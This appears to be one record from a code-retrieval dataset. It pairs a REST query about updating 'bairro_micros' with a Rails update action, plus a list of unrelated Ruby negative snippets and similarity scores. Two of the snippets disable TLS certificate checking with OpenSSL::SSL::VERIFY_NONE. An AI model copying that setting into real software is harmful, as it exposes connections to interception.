"def create\n @subscriber = Subscriber.find_or_create_by_phonenumber(params[:subscriber][:phonenumber])\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n @subscriber.phonenumber = params[:subscriber][:phonenumber]\n @subscriber.phonenumber = @subscriber.phonenumber.gsub(/\\D/, \"\") \n @address = params[:address] + ', ' + params[:city] + ', ' + params[:state] + ' ' + params[:zip]\n if (params[:address] != '')\n coords = Geocoder.coordinates(@address)\n latitude = coords[0]\n longitude = coords[1]\n else\n latitude = params[:subscriber][:latitude]\n longitude = params[:subscriber][:latitude]\n end\n @subscriber.latitude = latitude\n @subscriber.longitude = longitude\n @subscriber.zone = Timezone::Zone.new(:latlon => [latitude, longitude]).rules.last[\"name\"]\n @subscriber.iss_event = params[:subscriber][:iss_event]\n @subscriber.iridium_event = params[:subscriber][:iridium_event]\n\n respond_to do |format|\n if @subscriber.save\n\n @client.account.sms.messages.create(\n :from => ENV['TWILIO_FROM_NUMBER'],\n :to => @subscriber.phonenumber,\n :body => 'Welcome to the Predict the Sky notification service, your time zone is ' + @subscriber.zone + '! Txt STOP to unsubscribe.'\n )\n format.html { redirect_to :root, notice: 'Subscriber was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(uri, parameters = nil)\n response = Unirest.post uri, parameters: parameters\n response.body\n end"
] |
[
"0.5432998",
"0.5312817",
"0.5043077",
"0.5004182",
"0.49646065",
"0.49444047",
"0.49055824",
"0.49004248",
"0.48742113",
"0.4802006",
"0.4799636",
"0.47852984",
"0.47813207",
"0.47717053",
"0.47582325",
"0.47353584",
"0.473396",
"0.47171095",
"0.4712434",
"0.470688",
"0.46954915",
"0.46925908",
"0.46919984",
"0.4690362",
"0.46819848",
"0.4678221",
"0.46492913",
"0.46408954",
"0.4625609",
"0.46247983",
"0.4605877",
"0.45768753",
"0.45626295",
"0.45580876",
"0.4554349",
"0.45501292",
"0.45408776",
"0.45363",
"0.45312282",
"0.4523203",
"0.4519855",
"0.45187625",
"0.4514645",
"0.45068884",
"0.45064664",
"0.4503191",
"0.45020688",
"0.4500254",
"0.4490633",
"0.44895753",
"0.44886473",
"0.44871145",
"0.44843233",
"0.44840524",
"0.4476135",
"0.44716817",
"0.44656193",
"0.44602653",
"0.44590718",
"0.44587177",
"0.4456269",
"0.44561753",
"0.4454574",
"0.4448272",
"0.44435534",
"0.44431278",
"0.44412637",
"0.44402865",
"0.4439874",
"0.44390583",
"0.4429482",
"0.44229832",
"0.44229832",
"0.4422335",
"0.4422335",
"0.4422318",
"0.44213212",
"0.4418598",
"0.44158658",
"0.4414404",
"0.44081196",
"0.44046938",
"0.44043434",
"0.44028693",
"0.44018638",
"0.43977797",
"0.43875602",
"0.43717688",
"0.4371712",
"0.4366424",
"0.436447",
"0.43594697",
"0.43590575",
"0.43577874",
"0.4356706",
"0.43511346",
"0.43457437",
"0.4345361",
"0.4343991",
"0.43424687"
] |
0.5712857
|
0
|
PUT /bairro_micros/1 PUT /bairro_micros/1.xml
|
def update
@bairro_micro = BairroMicro.find(params[:id])
respond_to do |format|
if @bairro_micro.update_attributes(params[:bairro_micro])
flash[:notice] = 'BairroMicro was successfully updated.'
format.html { redirect_to(@bairro_micro) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def update!(**args)\n @micros = args[:micros] if args.key?(:micros)\n @units = args[:units] if args.key?(:units)\n end",
"def update!(**args)\n @micros = args[:micros] if args.key?(:micros)\n @units = args[:units] if args.key?(:units)\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @microarray = Microarray.find(params[:id])\n\n respond_to do |format|\n if @microarray.update_attributes(params[:microarray])\n flash[:notice] = 'Microarray was successfully updated.'\n format.html { redirect_to(@microarray) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microarray.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @microarray = Microarray.find(params[:id])\n\n respond_to do |format|\n if @microarray.update_attributes(params[:microarray])\n flash[:notice] = 'Microarray was successfully updated.'\n format.html { redirect_to(@microarray) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microarray.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.find(params[:id])\n \n #Sicherstellen, dass Benutzer synchronisiert wird auch wenn nur Objekt-Zuordnungen anders sind!\n @benutzer.updated_at = DateTime.now \n\n if bNode.xpath('objekt_zuordnungs').length > 0\n @benutzer.setze_objekt_zuordnungen(bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i})\n end\n if @benutzer.update(benutzer_params(bNode))\n success(nil)\n else\n error(@benutzer.errors)\n end\n end",
"def update_object_xml(object_type, id, xml)\n @client.update_business_object_by_public_id({\n :busObNameOrId => object_type,\n :busObPublicId => id,\n :updateXml => xml\n })\n return last_error\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @micromessage = Micromessage.find(params[:id])\n\n respond_to do |format|\n if @micromessage.update_attributes(params[:micromessage])\n format.html { redirect_to(@micromessage, :notice => 'Micromessage was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @micromessage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lob = Lob.find(params[:id])\n\n if @lob.update(lob_params)\n head :no_content\n else\n render json: @lob.errors, status: :unprocessable_entity\n end\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @bairro = Bairro.find(params[:id])\n\n respond_to do |format|\n if @bairro.update_attributes(params[:bairro])\n flash[:notice] = \"Bairro atualizado com sucesso.\"\n format.html { redirect_to(admin_bairros_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bairro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @bitacora = Bitacora.find(params[:id])\n\n respond_to do |format|\n if @bitacora.update_attributes(params[:bitacora])\n format.html { redirect_to @bitacora, notice: 'Bitacora was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bitacora.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend",
"def create\n @bairro_micro = BairroMicro.new(params[:bairro_micro])\n\n respond_to do |format|\n if @bairro_micro.save\n flash[:notice] = 'BairroMicro was successfully created.'\n format.html { redirect_to(@bairro_micro) }\n format.xml { render :xml => @bairro_micro, :status => :created, :location => @bairro_micro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend",
"def destroy\n @bairro_micro = BairroMicro.find(params[:id])\n @bairro_micro.destroy\n\n respond_to do |format|\n format.html { redirect_to(bairro_micros_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @node_rack = @object\n\n respond_to do |format|\n if @node_rack.update_attributes(params[:node_rack])\n flash[:notice] = 'NodeRack was successfully updated.'\n format.html { redirect_to node_rack_url(@node_rack) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def update_field(key,field,value)\n request :put, \"#{path_prefix}records/#{ue key}?field=#{ue field}\",\n :body => value,\n :content_type => \"application/octet-stream\"\n end",
"def update_value(value, timestamp=nil)\n params = { value: value }\n params[:timestamp] = timestamp if timestamp\n @client.put(\"#{path}/value\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def update\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n if @weibo.update_attributes(params[:weibo])\n format.html { redirect_to @weibo, notice: 'Weibo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @weibo = Weibo.find(params[:id])\n\n respond_to do |format|\n if @weibo.update_attributes(params[:weibo])\n format.html { redirect_to @weibo, notice: 'Weibo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weibo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end",
"def update\n @bom = Bom.find(params[:id])\n\n respond_to do |format|\n if @bom.update_attributes(params[:bom])\n format.html { redirect_to(@bom, :notice => 'Bom was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bom.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ribbit.update(ribbit_params)\n format.html { redirect_to @ribbit, notice: 'Ribbit was successfully updated.' }\n format.json { render :show, status: :ok, location: @ribbit }\n else\n format.html { render :edit }\n format.json { render json: @ribbit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_request_to_bibs_microservice\n 20.times do |x|\n stub_request(:get, \"#{ENV.fetch('BIBS_MICROSERVICE_URL_V01', nil)}?standardNumber=#{ 9781896580601 + x }\").\n with(\n headers: {\n 'Authorization' => 'Bearer testoken',\n 'Content-Type' => 'application/json'\n }).to_return(status: 200, body: MODIFIED_BOOK_JSON_FOR_ISBN_9782917623268, headers: {})\n end\n stub_request(:get, \"#{ENV.fetch('BIBS_MICROSERVICE_URL_V01', nil)}?standardNumber=123456789\").\n with(\n headers: {\n 'Authorization' => 'Bearer testoken',\n 'Content-Type' => 'application/json'\n }).to_return(status: 200, body: JSON_FOR_BOOK_WITH_ISBN_AND_TITLE_TOO_LONG, headers: {})\n end",
"def update\n @microposr = Microposr.find(params[:id])\n\n respond_to do |format|\n if @microposr.update_attributes(params[:microposr])\n format.html { redirect_to @microposr, notice: 'Microposr was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microposr.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_putway_update_valid\n way = create(:way_with_nodes, :nodes_count => 3)\n cs_id = way.changeset.id\n user = way.changeset.user\n\n assert_not_equal({ \"test\" => \"ok\" }, way.tags)\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version, way.id, way.nds, { \"test\" => \"ok\" }, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 1, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 1, new_way.version\n assert_equal way.nds, new_way.nds\n assert_equal({ \"test\" => \"ok\" }, new_way.tags)\n\n # Test changing the nodes in the way\n a = create(:node).id\n b = create(:node).id\n c = create(:node).id\n d = create(:node).id\n\n assert_not_equal [a, b, c, d], way.nds\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 1, way.id, [a, b, c, d], way.tags, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 2, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 2, new_way.version\n assert_equal [a, b, c, d], new_way.nds\n assert_equal way.tags, new_way.tags\n\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 2, way.id, [a, -1, b, c], way.tags, [[4.56, 12.34, -1, 0, { \"test\" => \"new\" }], [12.34, 4.56, b, 1, { \"test\" => \"ok\" }]], { d => 1 }]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n new_node_id = result[4][\"-1\"].to_i\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({ \"-1\" => new_node_id }, result[4])\n assert_equal way.version + 3, result[5]\n assert_equal({ new_node_id.to_s => 1, b.to_s => 2 }, result[6])\n assert_equal({ d.to_s => 1 }, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 3, new_way.version\n assert_equal [a, new_node_id, b, c], new_way.nds\n assert_equal way.tags, new_way.tags\n\n new_node = Node.find(new_node_id)\n assert_equal 1, new_node.version\n assert_equal true, new_node.visible\n assert_equal 4.56, new_node.lon\n assert_equal 12.34, new_node.lat\n assert_equal({ \"test\" => \"new\" }, new_node.tags)\n\n changed_node = Node.find(b)\n assert_equal 2, changed_node.version\n assert_equal true, changed_node.visible\n assert_equal 12.34, changed_node.lon\n assert_equal 4.56, changed_node.lat\n assert_equal({ \"test\" => \"ok\" }, changed_node.tags)\n\n deleted_node = Node.find(d)\n assert_equal 2, deleted_node.version\n assert_equal false, deleted_node.visible\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n @blobs_component = BlobsComponent.find(params[:id])\n\n respond_to do |format|\n if @blobs_component.update_attributes(params[:blobs_component])\n flash[:notice] = 'BlobsComponent was successfully updated.'\n format.html { redirect_to(@blobs_component) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @blobs_component.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end",
"def update\n respond_to do |format|\n if @boc.update(boc_params)\n format.html { redirect_to @boc, notice: 'Boc was successfully updated.' }\n format.json { render :show, status: :ok, location: @boc }\n else\n format.html { render :edit }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def putRecord(pub, oapID, toPut)\n\n # Figure out the URL to send it to\n uri = URI(\"#{$elementsAPI}/publication/records/c-inst-1/#{CGI.escape(oapID)}\")\n\n # Log what we're about to put.\n $transLog.write(\"\\n---------------------------------------------------------------\\n\")\n $transLog.write(\"\\nPUT #{uri}\\n\\n\")\n $transLog.write(toPut)\n $transLog.flush\n\n if $testMode\n puts \"(test mode: skipping real put)\"\n return true, true, nil\n end\n\n # And put it\n req = Net::HTTP::Put.new(uri)\n req['Content-Type'] = 'text/xml'\n req.basic_auth $apiCred[0], $apiCred[1]\n req.body = toPut\n (1..10).each { |tryNumber|\n puts \" Putting record.\"\n res = $elementsAPIConn.request(req)\n\n # Log the response\n $transLog.write(\"\\nResponse:\\n\")\n $transLog.write(\"#{res} code=#{res.code} message=#{res.message.inspect}\\n\")\n $transLog.write(\"#{res.body.start_with?('<?xml') ? Nokogiri::XML(res.body, &:noblanks).to_xml : res.body}\\n\")\n\n # HTTPConflict and HTTPGatewayTimeOut happen occasionally, and are likely transitory\n if res.is_a?(Net::HTTPConflict) || res.is_a?(Net::HTTPGatewayTimeOut)\n puts \" Note: failed due to #{res} (likely a transitory concurrency issue).\"\n if tryNumber < 20\n puts \" Will retry after a 30-second pause.\"\n sleep 30\n next\n else\n puts \" Out of retries. Aborting.\"\n end \n end\n\n # Fail if the PUT failed\n res.is_a?(Net::HTTPSuccess) or raise(\"Error: put failed: #{res}\")\n\n # Parse the result and record the associated Elements publication ID\n putResult = Nokogiri::XML(res.body, &:noblanks)\n putResult.remove_namespaces!\n pubID = putResult.at(\"entry/object[@category='publication']\")['id']\n db_execute(\"INSERT OR REPLACE INTO pubs (pub_id, oap_id) VALUES (?, ?)\", [pubID, oapID])\n\n # We want to know if Elements created a new record or joined to an existing one. We can tell\n # by checking if there are any other sources.\n obj = putResult.at(\"entry/object[@category='publication']\")\n otherRecords = obj.xpath(\"records/record[@format='native']\").select { |el| el['source-name'] != 'c-inst-1' }\n sources = otherRecords.map { |el| el['source-name'] }\n isJoinedRecord = !sources.empty?\n\n # Also we're curious if the joined record would meet our joining criteria. For that we need\n # to parse the metadata from the first record.\n isElemCompat = false\n elemItem = nil\n if isJoinedRecord\n # Pick scopus and crossref over other kinds of records, if available\n native = obj.at(\"records/record[@format='native'][source-name='scopus']\")\n native or native = obj.at(\"records/record[@format='native'][source-name='crossref']\")\n native or native = otherRecords[0]\n elemItem = elemNativeToRawItem(native.at('native'), $typeIdToName[obj.attr('type-id').to_i], 0)\n isElemCompat = isCompatible(pub.items, elemItem)\n end\n\n # And we're done.\n return isJoinedRecord, isElemCompat, elemItem\n }\n\nend",
"def update\n @audio_file = AudioFile.find(params[:id])\n\n respond_to do |format|\n if @audio_file.update_attributes(params[:audio_file])\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.xml { render :xml => @audio_file.errors, :status => :unprocessable_entity }\n format.json { render :json => @audio_file.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save\n begin\n if dirty?\n xml = self.to_xml\n unless xml.blank?\n AppConfig[:logger].info { \"updated #{@nfo_filespec}\"}\n DvdProfiler2Xbmc.save_to_file(@nfo_filespec, xml)\n end\n end\n rescue Exception => e\n AppConfig[:logger].error \"Unable to save xbmc info to #{@nfo_filespec} - #{e.to_s}\"\n end\n end",
"def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def update\n @bus = Bus.find(params[:id])\n\n respond_to do |format|\n if @bus.update_attributes(params[:bus])\n format.html { redirect_to(@bus, :notice => 'Bus was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bus.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n @obra = Obra.find(params[:id])\n\n respond_to do |format|\n if @obra.update_attributes(params[:obra])\n format.html { redirect_to @obra, notice: 'Obra was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @microarraygal = Microarraygal.find(params[:id])\n @title = \"Microarray GAL files\"\n\n respond_to do |format|\n if @microarraygal.update_attributes(params[:microarraygal])\n format.html { redirect_to(@microarraygal, :notice => 'Microarraygal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microarraygal.errors, :status => :unprocessable_entity }\n end\n end\n end",
